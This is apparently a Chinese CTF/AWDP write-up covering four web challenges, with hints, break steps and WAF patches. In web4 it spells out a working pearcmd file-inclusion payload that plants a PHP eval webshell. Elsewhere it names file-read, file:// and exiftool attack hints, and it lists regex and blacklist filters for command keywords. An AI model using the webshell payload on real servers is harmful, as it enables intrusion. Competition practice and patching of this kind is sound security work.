web1(服务)
题目提示: ffffllll44ggg.php
break
view_file.php下存在任意文件读取


打开后即可获得flag

fix
修的话当时是修的文件上传的地方,提示是后面才放出来的
upload.php源码如下

关键代码分析:
$file = strtolower(substr($filename, strrpos($filename, '.') + 1));
$uploadFile = $uploadDir . md5($filename).".".$file;
//对原文件名做md5编码,再拼接上原文件名最后一个.后面的扩展名(小写)
strtolower:将字符串转化为小写
strrpos:计算指定字符串在目标字符串中最后一次出现的位置
web2(图床)
题目提示
可以采用移除手段尝试修复
账号密码:admin/imgImg1mg
尝试利用exiftool进行攻击
fix

app.py下发现Sql注入语句,并且无任何过滤
对username,password上一层sql注入的简单waf

blacklist = [''', 'union', '"', 'select', '(', ')', '', '%']
for i in blacklist:
if i in username.lower():
exit()
for i in blacklist:
if i in password.lower():
exit()
web3(信息)
题目提示
账号密码:admin/a1c3cdf12c6609ff0
尝试利用file://协议进行攻击
尝试利用class.php进行防御
class.php可以尝试利用 public function __wakeup() { $this->is_admin = false; }
fix
class.php下存在反序列化

定位到输入参数admin.php

登录后也会跳转到admin.php,与class.php下的序列化内容一致

针对admin.php中cookie的user字段进行waf绕过

if(preg_match('/system|tail|flag|exec|base64|cat/i', $check)){
$user = new user;
web4(found_cms)
题目提示:
当register_argc_argv配置打开时,文件包含可以使用什么隐藏命令
可以采用 pearcmd的文件包含
/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php
尝试利用page变量进行防御
可以尝试利用config.php进行防御
尝试利用蚁剑进行读取flag
break
根据题目提示,直接用/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php 写入webshell
直接在主页传/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php

后面就可以用蚁剑连接或者直接执行命令就行
fix
因为是使用page参数进行写webshell,所以对page参数上waf
/admin/index.php下就有page参数,且包含了config.php

所以直接在config.php下对page参数上waf

$str1 ="";
foreach ($_POST as $key => $value) {
$str1.=$key;
$str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {
$str2.=$key;
$str2.=$value;
}
if (preg_match("/eval|system|tail|flag|'|"|<|{|}|exec|base64|phpinfo|<?|"/i", $str1)||preg_match("/eval|system|tail|flag|'|"|<|{|}|exec|base64|phpinfo|<?|"/i", $str2)) {
die('no!');
}
最后感谢学长带我打AWDP,框框乱杀
















暂无评论内容